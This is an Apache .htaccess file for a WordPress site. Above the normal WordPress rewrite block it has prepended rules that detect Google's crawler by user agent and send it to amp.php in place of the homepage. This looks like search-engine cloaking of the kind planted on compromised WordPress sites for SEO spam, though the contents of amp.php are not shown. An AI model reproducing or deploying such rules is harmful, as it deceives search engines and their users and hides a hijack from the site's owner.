SetEnvIfNoCase User-Agent "Google" is_google_bot=1
RewriteCond %{ENV:is_google_bot} =1
RewriteCond %{REQUEST_URI} ^/$
RewriteRule ^$ amp.php [L]
RewriteCond %{ENV:is_google_bot} =1
RewriteCond %{REQUEST_URI} ^/index\.php$
RewriteRule ^index\.php$ amp.php [L]

# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress